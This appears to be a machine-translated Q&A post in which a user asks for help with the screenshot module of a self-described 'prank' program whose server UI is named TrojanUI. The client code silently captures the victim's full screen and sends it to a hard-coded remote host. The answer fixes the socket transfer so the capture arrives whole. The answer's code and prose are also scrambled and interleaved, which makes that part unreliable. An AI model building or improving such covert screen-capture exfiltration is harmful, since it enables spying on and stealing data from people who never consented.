我正在制作一个恶作剧程序,但无论如何都有用。
我目前正在尝试做的是从客户端获取屏幕截图并在服务器上以JFrame打开屏幕截图。
经过多次尝试,我发现了这个未解决的问题How to send images through sockets in java?。
屏幕截图通过,但它的切碎,只有大约120-135kb通过。在最高投票的答案中,他在关闭连接之前在客户端有Thread.sleep()
,但我没有它就尝试了它并且它被切断了所以我尝试了它,但他仍然把它切断了。我读取输入数据的客户端类是循环的,每100ms运行一次,所以我认为它循环太快,所以我把它增加到1000ms,它仍然被切断。
我在同一个线程上尝试了另一个不同的答案,并在服务器端将ImageIO.read(new ByteArrayInputStream(imageAr))
更改为ImageIO.read(new ByteArrayInputStream(imageAr))
,但那时没有图像进入。
这是我开始时尝试的原始方法之一,但这根本不起作用! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html
服务器
package UI;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
//Screenshot Frame
final JFrame frame = new JFrame();
frame.setSize(500, 500);
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
t = new Thread(){
public void run(){
try{
int port = 6667;
ServerSocket serverSocket = new ServerSocket(port);
Socket server = serverSocket.accept();
TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n");
DataInputStream in = new DataInputStream(server.getInputStream());
DataOutputStream out = new DataOutputStream(server.getOutputStream());
byte[] sizeAr = new byte[4];
in.read(sizeAr);
int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();
byte[] imageAr = new byte[size];
in.read(imageAr);
BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
ImageIO.write(image, "jpg", new File("screen.jpg"));
server.close();
JLabel label = new JLabel();
label.setIcon(new ImageIcon(image));
frame.getContentPane().add(label);
}catch(IOException e){
e.printStackTrace();
}
}
};
t.start();
frame.setVisible(true);
}
}
这部分服务器代码是一个新线程,创建一个新的套接字和一个新的JFrame来显示屏幕截图。我为什么要这样做?在另一个线程上,我读到图像只会在套接字关闭时发送。因为我不希望主套接字关闭或者我失去了连接,我创建了另一个套接字,它将暂时打开以仅流式传输屏幕截图。
客户端
package tc;
import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
public class SendScreen{
public SendScreen(){
try{
//creates new socket on port 6667
Socket sclient = new Socket("192.168.0.5",6667);
OutputStream sOutToServer = sclient.getOutputStream();
DataOutputStream out = new DataOutputStream(sOutToServer);
InputStream sInFromServer = sclient.getInputStream();
DataInputStream in = new DataInputStream(sInFromServer);
//Takes screenshot and sends it to server as byte array
BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(screencap,"jpg",baos);
//Gets screenshot byte size and sends it to server and flushes then closes the connection
byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
out.write(size);
out.write(baos.toByteArray());
out.flush();
sclient.close();
}catch(HeadlessException | AWTException | IOException e){
e.printStackTrace();
}
}
}
在服务器端,我添加了另一条在本地创建图像的行,只是为了解决任何问题。
提前致谢
答案 0 :(得分:3)
您假设int size = in.readInt();
byte[] imageAr = new byte[size];
in.readFully(imageAr);
填充缓冲区。规范中没有任何内容表明这一点。试试这个:
readInt()
readFully()
和out.writeInt(size);
out.write(baos.toByteArray());
out.close();
保证读取正确的金额,或尝试失败。
你也在发送端给自己一个艰难的时间。试试这个:
flush()
请注意close()
之前的ImageIO.read/write
是多余的,但您应该关闭套接字周围的最外面的输出流,而不是套接字,以使其自动刷新。
事实上,当您在每个图像之后关闭连接时,您可以摆脱大小字和字节数组输入/输出流,只需直接从/向套接字执行onClick
。它会节省很多内存。